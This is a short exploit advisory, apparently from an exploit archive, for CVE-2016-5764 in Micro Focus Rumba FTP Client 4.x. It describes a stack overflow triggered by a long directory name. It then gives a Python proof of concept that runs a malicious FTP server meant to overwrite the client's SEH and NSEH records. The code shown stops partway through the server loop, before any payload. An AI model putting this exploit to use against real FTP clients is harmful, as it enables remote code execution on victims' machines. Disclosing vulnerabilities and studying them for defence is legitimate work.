# Version: 4.x
# Tested on: Windows 7
# CVE : CVE-2016-5764



1.  Description

Micro Focus Rumba FTP Client 4.x cannot handle long directory names. An attacker can setup a malicious FTP server that can send a long directory name which can led to remote code execution on the connected client.

2. Proof of Concept

The code below can be used to setup a malicious FTP server that will send a long directory name and overwrite the stack. The PoC only overwrites the SEH + NSEH.

import socket

# IP Address
IP = '127.0.0.1' \
     ''
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to the port
server_address = (IP,21)
print "Starting up on %s port %s" % server_address
sock.bind(server_address)

# Listen for incoming connections
sock.listen(1)

# Wait for incoming connection
while True:
    print "Waiting for a connection"
    connection, client_address = sock.accept()

    try:
        print "Connection from " + str(client_address)
        # Receive the data in small chunks and restransmit it
        connection.send("220 Welcome\r\n")

        while(True):
